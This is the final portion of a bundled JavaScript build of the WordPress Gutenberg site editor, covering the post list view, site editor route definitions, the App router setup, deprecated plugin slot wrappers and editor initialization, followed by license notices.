46618 /* @__PURE__ */ (0, import_jsx_runtime294.jsx)("div", { className: "dataviews-action-modal__quick-edit-content", children: hasFinishedResolution && /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
46619 DataForm,
46620 {
46621 data: { ...record, ...localEdits },
46622 fields,
46623 form,
46624 onChange
46625 }
46626 ) }),
46627 /* @__PURE__ */ (0, import_jsx_runtime294.jsxs)(import_components162.__experimentalHStack, { className: "dataviews-action-modal__quick-edit-footer", children: [
46628 /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
46629 import_components162.Button,
46630 {
46631 __next40pxDefaultSize: true,
46632 variant: "secondary",
46633 onClick: closeModal,
46634 children: (0, import_i18n156.__)("Cancel")
46635 }
46636 ),
46637 /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
46638 import_components162.Button,
46639 {
46640 __next40pxDefaultSize: true,
46641 variant: "primary",
46642 onClick: onSave,
46643 children: (0, import_i18n156.__)("Done")
46644 }
46645 )
46646 ] })
46647 ]
46648 }
46649 );
46650 }
46651
46652 // packages/edit-site/build-module/components/post-list/index.mjs
46653 var import_jsx_runtime295 = __toESM(require_jsx_runtime(), 1);
46654 var { usePostActions: usePostActions4, usePostFields: usePostFields3 } = unlock(import_editor40.privateApis);
46655 var { useLocation: useLocation34, useHistory: useHistory25 } = unlock(import_router40.privateApis);
46656 var { useEntityRecordsWithPermissions: useEntityRecordsWithPermissions4 } = unlock(import_core_data64.privateApis);
46657 var EMPTY_ARRAY16 = [];
46658 var DEFAULT_STATUSES = "draft,future,pending,private,publish";
46659 function getItemId(item) {
46660 return item.id.toString();
46661 }
46662 function getItemLevel(item) {
46663 return item.level;
46664 }
46665 function PostList({ postType: postType2 }) {
46666 const { path, query } = useLocation34();
46667 const { activeView = "all", postId, quickEdit = false } = query;
46668 const history = useHistory25();
46669 const defaultView = DEFAULT_VIEW3;
46670 const activeViewOverrides = (0, import_element159.useMemo)(
46671 () => getActiveViewOverridesForTab2(activeView),
46672 [activeView]
46673 );
46674 const { view, updateView, isModified, resetToDefault } = useView({
46675 kind: "postType",
46676 name: postType2,
46677 slug: "default",
46678 defaultView,
46679 activeViewOverrides,
46680 queryParams: {
46681 page: query.pageNumber,
46682 search: query.search
46683 },
46684 onChangeQueryParams: (newQueryParams) => {
46685 history.navigate(
46686 (0, import_url27.addQueryArgs)(path, {
46687 ...query,
46688 pageNumber: newQueryParams.page,
46689 search: newQueryParams.search || void 0
46690 })
46691 );
46692 }
46693 });
46694 const onChangeView = (0, import_compose34.useEvent)((newView) => {
46695 updateView(newView);
46696 if (newView.type !== view.type) {
46697 history.invalidate();
46698 }
46699 });
46700 const [selection, setSelection] = (0, import_element159.useState)(postId?.split(",") ?? []);
46701 const onChangeSelection = (0, import_element159.useCallback)(
46702 (items) => {
46703 setSelection(items);
46704 history.navigate(
46705 (0, import_url27.addQueryArgs)(path, {
46706 postId: items.join(",")
46707 })
46708 );
46709 },
46710 [path, history]
46711 );
46712 (0, import_element159.useEffect)(() => {
46713 const newSelection = postId?.split(",") ?? [];
46714 setSelection(newSelection);
46715 }, [postId]);
46716 const fields = usePostFields3({
46717 postType: postType2
46718 });
46719 const queryArgs = (0, import_element159.useMemo)(() => {
46720 const filters = {};
46721 view.filters?.forEach((filter) => {
46722 if (filter.field === "status" && filter.operator === OPERATOR_IS_ANY) {
46723 filters.status = filter.value;
46724 }
46725 if (filter.field === "author" && filter.operator === OPERATOR_IS_ANY) {
46726 filters.author = filter.value;
46727 } else if (filter.field === "author" && filter.operator === OPERATOR_IS_NONE) {
46728 filters.author_exclude = filter.value;
46729 }
46730 if (filter.field === "date") {
46731 if (!filter.value) {
46732 return;
46733 }
46734 if (filter.operator === OPERATOR_BEFORE) {
46735 filters.before = filter.value;
46736 } else if (filter.operator === OPERATOR_AFTER) {
46737 filters.after = filter.value;
46738 }
46739 }
46740 });
46741 if (!filters.status || filters.status === "") {
46742 filters.status = DEFAULT_STATUSES;
46743 }
46744 return {
46745 per_page: view.perPage,
46746 page: view.page,
46747 _embed: "author,wp:featuredmedia",
46748 order: view.sort?.direction,
46749 orderby: view.sort?.field,
46750 orderby_hierarchy: !!view.showLevels,
46751 search: view.search,
46752 ...filters
46753 };
46754 }, [view]);
46755 const {
46756 records,
46757 isResolving: isLoadingData,
46758 totalItems,
46759 totalPages,
46760 hasResolved
46761 } = useEntityRecordsWithPermissions4("postType", postType2, queryArgs);
46762 const postIds = (0, import_element159.useMemo)(
46763 () => records?.map((record) => record.id) ?? [],
46764 [records]
46765 );
46766 const { notesCount, isLoading: isLoadingNotesCount } = useNotesCount(postIds);
46767 const data = (0, import_element159.useMemo)(() => {
46768 let processedRecords = records;
46769 if (view?.sort?.field === "author") {
46770 processedRecords = filterSortAndPaginate(
46771 records,
46772 { sort: { ...view.sort } },
46773 fields
46774 ).data;
46775 }
46776 if (processedRecords) {
46777 return processedRecords.map((record) => ({
46778 ...record,
46779 notesCount: notesCount[record.id] ?? 0
46780 }));
46781 }
46782 return processedRecords;
46783 }, [records, fields, view?.sort, notesCount]);
46784 const ids = data?.map((record) => getItemId(record)) ?? [];
46785 const prevIds = (0, import_compose34.usePrevious)(ids) ?? [];
46786 const deletedIds = prevIds.filter((id) => !ids.includes(id));
46787 const postIdWasDeleted = deletedIds.includes(postId);
46788 (0, import_element159.useEffect)(() => {
46789 if (postIdWasDeleted) {
46790 history.navigate(
46791 (0, import_url27.addQueryArgs)(path, {
46792 postId: void 0
46793 })
46794 );
46795 }
46796 }, [history, postIdWasDeleted, path]);
46797 const paginationInfo = (0, import_element159.useMemo)(
46798 () => ({
46799 totalItems,
46800 totalPages
46801 }),
46802 [totalItems, totalPages]
46803 );
46804 const { labels, canCreateRecord } = (0, import_data81.useSelect)(
46805 (select3) => {
46806 const { getPostType: getPostType2, canUser } = select3(import_core_data64.store);
46807 return {
46808 labels: getPostType2(postType2)?.labels,
46809 canCreateRecord: canUser("create", {
46810 kind: "postType",
46811 name: postType2
46812 })
46813 };
46814 },
46815 [postType2]
46816 );
46817 const postTypeActions = usePostActions4({
46818 postType: postType2,
46819 context: "list"
46820 });
46821 const editAction = useEditPostAction();
46822 const quickEditAction = useQuickEditPostAction();
46823 const actions = (0, import_element159.useMemo)(() => {
46824 if (view.type === LAYOUT_LIST) {
46825 const editActionPrimary = { ...editAction, isPrimary: true };
46826 return [editActionPrimary, ...postTypeActions];
46827 }
46828 return [editAction, quickEditAction, ...postTypeActions];
46829 }, [view.type, editAction, quickEditAction, postTypeActions]);
46830 const [showAddPostModal, setShowAddPostModal] = (0, import_element159.useState)(false);
46831 const openModal = () => setShowAddPostModal(true);
46832 const closeModal = () => setShowAddPostModal(false);
46833 const handleNewPage = ({ type, id }) => {
46834 history.navigate(`/${type}/${id}?canvas=edit`);
46835 closeModal();
46836 };
46837 const closeQuickEditModal = () => {
46838 history.navigate(
46839 (0, import_url27.addQueryArgs)(path, {
46840 ...query,
46841 quickEdit: void 0
46842 })
46843 );
46844 };
46845 return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(
46846 page_default2,
46847 {
46848 title: labels?.name,
46849 headingLevel: 2,
46850 actions: /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(import_jsx_runtime295.Fragment, { children: labels?.add_new_item && canCreateRecord && /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(import_jsx_runtime295.Fragment, { children: [
46851 /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
46852 import_components163.Button,
46853 {
46854 variant: "primary",
46855 onClick: openModal,
46856 __next40pxDefaultSize: true,
46857 children: labels.add_new_item
46858 }
46859 ),
46860 showAddPostModal && /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
46861 AddNewPostModal,
46862 {
46863 postType: postType2,
46864 onSave: handleNewPage,
46865 onClose: closeModal
46866 }
46867 )
46868 ] }) }),
46869 children: [
46870 /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
46871 dataviews_default,
46872 {
46873 paginationInfo,
46874 fields,
46875 actions,
46876 data: data || EMPTY_ARRAY16,
46877 isLoading: isLoadingData || isLoadingNotesCount || !hasResolved,
46878 view,
46879 onChangeView,
46880 selection,
46881 onChangeSelection,
46882 isItemClickable: (item) => item.status !== "trash",
46883 onClickItem: ({ id }) => {
46884 history.navigate(`/${postType2}/${id}?canvas=edit`);
46885 },
46886 getItemId,
46887 getItemLevel,
46888 defaultLayouts: defaultLayouts3,
46889 onReset: isModified ? () => {
46890 resetToDefault();
46891 history.invalidate();
46892 } : false
46893 },
46894 activeView
46895 ),
46896 quickEdit && !isLoadingData && selection.length > 0 && view.type !== LAYOUT_LIST && /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
46897 QuickEditModal,
46898 {
46899 postType: postType2,
46900 postId: selection,
46901 closeModal: closeQuickEditModal
46902 }
46903 )
46904 ]
46905 }
46906 );
46907 }
46908
46909 // packages/edit-site/build-module/components/site-editor-routes/pages.mjs
46910 var import_jsx_runtime296 = __toESM(require_jsx_runtime(), 1);
46911 var { useLocation: useLocation35 } = unlock(import_router41.privateApis);
46912 async function isListView(query) {
46913 const { activeView = "all" } = query;
46914 const view = await loadView({
46915 kind: "postType",
46916 name: "page",
46917 slug: "default",
46918 defaultView: DEFAULT_VIEW3,
46919 activeViewOverrides: getActiveViewOverridesForTab2(activeView)
46920 });
46921 return view.type === "list";
46922 }
46923 function MobilePagesView() {
46924 const { query = {} } = useLocation35();
46925 const { canvas = "view" } = query;
46926 return canvas === "edit" ? /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(PostList, { postType: "page" });
46927 }
46928 var pagesRoute = {
46929 name: "pages",
46930 path: "/page",
46931 areas: {
46932 sidebar({ siteData }) {
46933 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46934 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
46935 SidebarNavigationScreen,
46936 {
46937 title: (0, import_i18n157.__)("Pages"),
46938 backPath: "/",
46939 content: /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(DataViewsSidebarContent, { postType: "page" })
46940 }
46941 ) : /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(SidebarNavigationScreenUnsupported, {});
46942 },
46943 content({ siteData }) {
46944 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46945 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(PostList, { postType: "page" }) : void 0;
46946 },
46947 async preview({ query, siteData }) {
46948 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46949 if (!isBlockTheme) {
46950 return void 0;
46951 }
46952 const isList = await isListView(query);
46953 return isList ? /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(EditSiteEditor, {}) : void 0;
46954 },
46955 mobile({ siteData }) {
46956 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46957 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(MobilePagesView, {}) : /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(SidebarNavigationScreenUnsupported, {});
46958 }
46959 },
46960 widths: {
46961 async content({ query }) {
46962 const isList = await isListView(query);
46963 return isList ? 380 : void 0;
46964 }
46965 }
46966 };
46967
46968 // packages/edit-site/build-module/components/site-editor-routes/page-item.mjs
46969 var import_i18n158 = __toESM(require_i18n(), 1);
46970 var import_jsx_runtime297 = __toESM(require_jsx_runtime(), 1);
46971 var pageItemRoute = {
46972 name: "page-item",
46973 path: "/page/:postId",
46974 areas: {
46975 sidebar({ siteData }) {
46976 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46977 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
46978 SidebarNavigationScreen,
46979 {
46980 title: (0, import_i18n158.__)("Pages"),
46981 backPath: "/",
46982 content: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(DataViewsSidebarContent, { postType: "page" })
46983 }
46984 ) : /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(SidebarNavigationScreenUnsupported, {});
46985 },
46986 mobile({ siteData }) {
46987 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46988 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(SidebarNavigationScreenUnsupported, {});
46989 },
46990 preview({ siteData }) {
46991 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46992 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(SidebarNavigationScreenUnsupported, {});
46993 }
46994 }
46995 };
46996
46997 // packages/edit-site/build-module/components/site-editor-routes/attachment-item.mjs
46998 var import_i18n159 = __toESM(require_i18n(), 1);
46999 var import_jsx_runtime298 = __toESM(require_jsx_runtime(), 1);
47000 var attachmentItemRoute = {
47001 name: "attachment-item",
47002 path: "/attachment/:postId",
47003 areas: {
47004 sidebar: /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(
47005 SidebarNavigationScreen,
47006 {
47007 title: (0, import_i18n159.__)("Media"),
47008 backPath: "/",
47009 content: null
47010 }
47011 ),
47012 mobile: /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(EditSiteEditor, {}),
47013 preview: /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(EditSiteEditor, {})
47014 }
47015 };
47016
47017 // packages/edit-site/build-module/components/site-editor-routes/stylebook.mjs
47018 var import_i18n160 = __toESM(require_i18n(), 1);
47019 var import_editor44 = __toESM(require_editor(), 1);
47020 var import_jsx_runtime299 = __toESM(require_jsx_runtime(), 1);
47021 var { StyleBookPreview: StyleBookPreview2 } = unlock(import_editor44.privateApis);
47022 var stylebookRoute = {
47023 name: "stylebook",
47024 path: "/stylebook",
47025 areas: {
47026 sidebar({ siteData }) {
47027 return isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(
47028 SidebarNavigationScreen,
47029 {
47030 title: (0, import_i18n160.__)("Styles"),
47031 backPath: "/",
47032 description: (0, import_i18n160.__)(
47033 `Preview your website's visual identity: colors, typography, and blocks.`
47034 )
47035 }
47036 ) : /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(SidebarNavigationScreenUnsupported, {});
47037 },
47038 preview({ siteData }) {
47039 return isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(
47040 StyleBookPreview2,
47041 {
47042 isStatic: true,
47043 settings: siteData.editorSettings
47044 }
47045 ) : void 0;
47046 },
47047 mobile({ siteData }) {
47048 return isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(
47049 StyleBookPreview2,
47050 {
47051 isStatic: true,
47052 settings: siteData.editorSettings
47053 }
47054 ) : void 0;
47055 }
47056 }
47057 };
47058
47059 // packages/edit-site/build-module/components/site-editor-routes/notfound.mjs
47060 var import_i18n161 = __toESM(require_i18n(), 1);
47061 var import_components164 = __toESM(require_components(), 1);
47062 var import_jsx_runtime300 = __toESM(require_jsx_runtime(), 1);
47063 function NotFoundError() {
47064 return /* @__PURE__ */ (0, import_jsx_runtime300.jsx)(import_components164.Notice, { status: "error", isDismissible: false, children: (0, import_i18n161.__)(
47065 "The requested page could not be found. Please check the URL."
47066 ) });
47067 }
47068 var notFoundRoute = {
47069 name: "notfound",
47070 path: "*",
47071 areas: {
47072 sidebar: /* @__PURE__ */ (0, import_jsx_runtime300.jsx)(SidebarNavigationScreenMain, {}),
47073 mobile: /* @__PURE__ */ (0, import_jsx_runtime300.jsx)(
47074 SidebarNavigationScreenMain,
47075 {
47076 customDescription: /* @__PURE__ */ (0, import_jsx_runtime300.jsx)(NotFoundError, {})
47077 }
47078 ),
47079 content: /* @__PURE__ */ (0, import_jsx_runtime300.jsx)(import_components164.__experimentalSpacer, { padding: 2, children: /* @__PURE__ */ (0, import_jsx_runtime300.jsx)(NotFoundError, {}) })
47080 }
47081 };
47082
47083 // packages/edit-site/build-module/components/site-editor-routes/index.mjs
47084 var routes2 = [
47085 ...window?.__experimentalMediaEditor ? [attachmentItemRoute] : [],
47086 pageItemRoute,
47087 pagesRoute,
47088 templateItemRoute,
47089 templatesRoute,
47090 templatePartItemRoute,
47091 patternItemRoute,
47092 patternsRoute,
47093 navigationItemRoute,
47094 navigationRoute,
47095 stylesRoute,
47096 homeRoute,
47097 stylebookRoute,
47098 notFoundRoute
47099 ];
47100 function useRegisterSiteEditorRoutes() {
47101 const registry = (0, import_data82.useRegistry)();
47102 const { registerRoute: registerRoute2 } = unlock((0, import_data82.useDispatch)(store));
47103 (0, import_element160.useEffect)(() => {
47104 registry.batch(() => {
47105 routes2.forEach(registerRoute2);
47106 });
47107 }, [registry, registerRoute2]);
47108 }
47109
47110 // packages/edit-site/build-module/components/app/index.mjs
47111 var import_jsx_runtime301 = __toESM(require_jsx_runtime(), 1);
47112 var { RouterProvider } = unlock(import_router42.privateApis);
47113 function AppLayout() {
47114 useCommonCommands();
47115 useSetCommandContext();
47116 return /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(LayoutWithGlobalStylesProvider, {});
47117 }
47118 function App() {
47119 useRegisterSiteEditorRoutes();
47120 const { routes: routes3, currentTheme, editorSettings } = (0, import_data83.useSelect)((select3) => {
47121 return {
47122 routes: unlock(select3(store)).getRoutes(),
47123 currentTheme: select3(import_core_data65.store).getCurrentTheme(),
47124 // This is a temp solution until the has_theme_json value is available for the current theme.
47125 editorSettings: select3(store).getSettings()
47126 };
47127 }, []);
47128 const beforeNavigate = (0, import_element161.useCallback)(({ path, query }) => {
47129 if (!isPreviewingTheme()) {
47130 return { path, query };
47131 }
47132 return {
47133 path,
47134 query: {
47135 ...query,
47136 wp_theme_preview: "wp_theme_preview" in query ? query.wp_theme_preview : currentlyPreviewingTheme()
47137 }
47138 };
47139 }, []);
47140 const matchResolverArgsValue = (0, import_element161.useMemo)(
47141 () => ({
47142 siteData: { currentTheme, editorSettings }
47143 }),
47144 [currentTheme, editorSettings]
47145 );
47146 return /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(
47147 RouterProvider,
47148 {
47149 routes: routes3,
47150 pathArg: "p",
47151 beforeNavigate,
47152 matchResolverArgs: matchResolverArgsValue,
47153 children: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(AppLayout, {})
47154 }
47155 );
47156 }
47157
47158 // packages/edit-site/build-module/deprecated.mjs
47159 var import_editor45 = __toESM(require_editor(), 1);
47160 var import_url28 = __toESM(require_url(), 1);
47161 var import_deprecated5 = __toESM(require_deprecated(), 1);
47162 var import_jsx_runtime302 = __toESM(require_jsx_runtime(), 1);
47163 var isSiteEditor = (0, import_url28.getPath)(window.location.href)?.includes(
47164 "site-editor.php"
47165 );
47166 var deprecateSlot = (name2) => {
47167 (0, import_deprecated5.default)(`wp.editPost.${name2}`, {
47168 since: "6.6",
47169 alternative: `wp.editor.${name2}`
47170 });
47171 };
47172 function PluginMoreMenuItem(props) {
47173 if (!isSiteEditor) {
47174 return null;
47175 }
47176 deprecateSlot("PluginMoreMenuItem");
47177 return /* @__PURE__ */ (0, import_jsx_runtime302.jsx)(import_editor45.PluginMoreMenuItem, { ...props });
47178 }
47179 function PluginSidebar(props) {
47180 if (!isSiteEditor) {
47181 return null;
47182 }
47183 deprecateSlot("PluginSidebar");
47184 return /* @__PURE__ */ (0, import_jsx_runtime302.jsx)(import_editor45.PluginSidebar, { ...props });
47185 }
47186 function PluginSidebarMoreMenuItem(props) {
47187 if (!isSiteEditor) {
47188 return null;
47189 }
47190 deprecateSlot("PluginSidebarMoreMenuItem");
47191 return /* @__PURE__ */ (0, import_jsx_runtime302.jsx)(import_editor45.PluginSidebarMoreMenuItem, { ...props });
47192 }
47193
47194 // packages/edit-site/build-module/index.mjs
47195 var import_jsx_runtime303 = __toESM(require_jsx_runtime(), 1);
47196 var { registerCoreBlockBindingsSources } = unlock(import_editor46.privateApis);
47197 function initializeEditor(id, settings2) {
47198 const target = document.getElementById(id);
47199 const root = (0, import_element162.createRoot)(target);
47200 (0, import_data84.dispatch)(import_blocks15.store).reapplyBlockTypeFilters();
47201 const coreBlocks = (0, import_block_library3.__experimentalGetCoreBlocks)().filter(
47202 ({ name: name2 }) => name2 !== "core/freeform"
47203 );
47204 (0, import_block_library3.registerCoreBlocks)(coreBlocks);
47205 registerCoreBlockBindingsSources();
47206 (0, import_data84.dispatch)(import_blocks15.store).setFreeformFallbackBlockName("core/html");
47207 (0, import_widgets.registerLegacyWidgetBlock)({ inserter: false });
47208 (0, import_widgets.registerWidgetGroupBlock)({ inserter: false });
47209 if (false) {
47210 (0, import_block_library3.__experimentalRegisterExperimentalCoreBlocks)({
47211 enableFSEBlocks: true
47212 });
47213 }
47214 (0, import_data84.dispatch)(import_preferences13.store).setDefaults("core/edit-site", {
47215 welcomeGuide: true,
47216 welcomeGuideStyles: true,
47217 welcomeGuidePage: true,
47218 welcomeGuideTemplate: true
47219 });
47220 (0, import_data84.dispatch)(import_preferences13.store).setDefaults("core", {
47221 allowRightClickOverrides: true,
47222 distractionFree: false,
47223 editorMode: "visual",
47224 editorTool: "edit",
47225 fixedToolbar: false,
47226 focusMode: false,
47227 inactivePanels: [],
47228 keepCaretInsideBlock: false,
47229 openPanels: ["post-status"],
47230 showBlockBreadcrumbs: true,
47231 showListViewByDefault: false,
47232 enableChoosePatternModal: true,
47233 showCollaborationCursor: false,
47234 showCollaborationNotifications: true
47235 });
47236 if (window.__clientSideMediaProcessing) {
47237 (0, import_data84.dispatch)(import_preferences13.store).setDefaults("core/media", {
47238 requireApproval: true,
47239 optimizeOnUpload: true
47240 });
47241 }
47242 (0, import_data84.dispatch)(store).updateSettings(settings2);
47243 window.addEventListener("dragover", (e2) => e2.preventDefault(), false);
47244 window.addEventListener("drop", (e2) => e2.preventDefault(), false);
47245 root.render(
47246 /* @__PURE__ */ (0, import_jsx_runtime303.jsx)(import_element162.StrictMode, { children: /* @__PURE__ */ (0, import_jsx_runtime303.jsx)(App, {}) })
47247 );
47248 return root;
47249 }
47250 function reinitializeEditor() {
47251 (0, import_deprecated6.default)("wp.editSite.reinitializeEditor", {
47252 since: "6.2",
47253 version: "6.3"
47254 });
47255 }
47256 return __toCommonJS(index_exports);
47257})();
47258/*! Bundled license information:
47259
47260use-sync-external-store/cjs/use-sync-external-store-shim.development.js:
47261 (**
47262 * @license React
47263 * use-sync-external-store-shim.development.js
47264 *
47265 * Copyright (c) Meta Platforms, Inc. and affiliates.
47266 *
47267 * This source code is licensed under the MIT license found in the
47268 * LICENSE file in the root directory of this source tree.
47269 *)
47270
47271is-plain-object/dist/is-plain-object.mjs:
47272 (*!
47273 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
47274 *
47275 * Copyright (c) 2014-2017, Jon Schlinkert.
47276 * Released under the MIT License.
47277 *)
47278*/
47279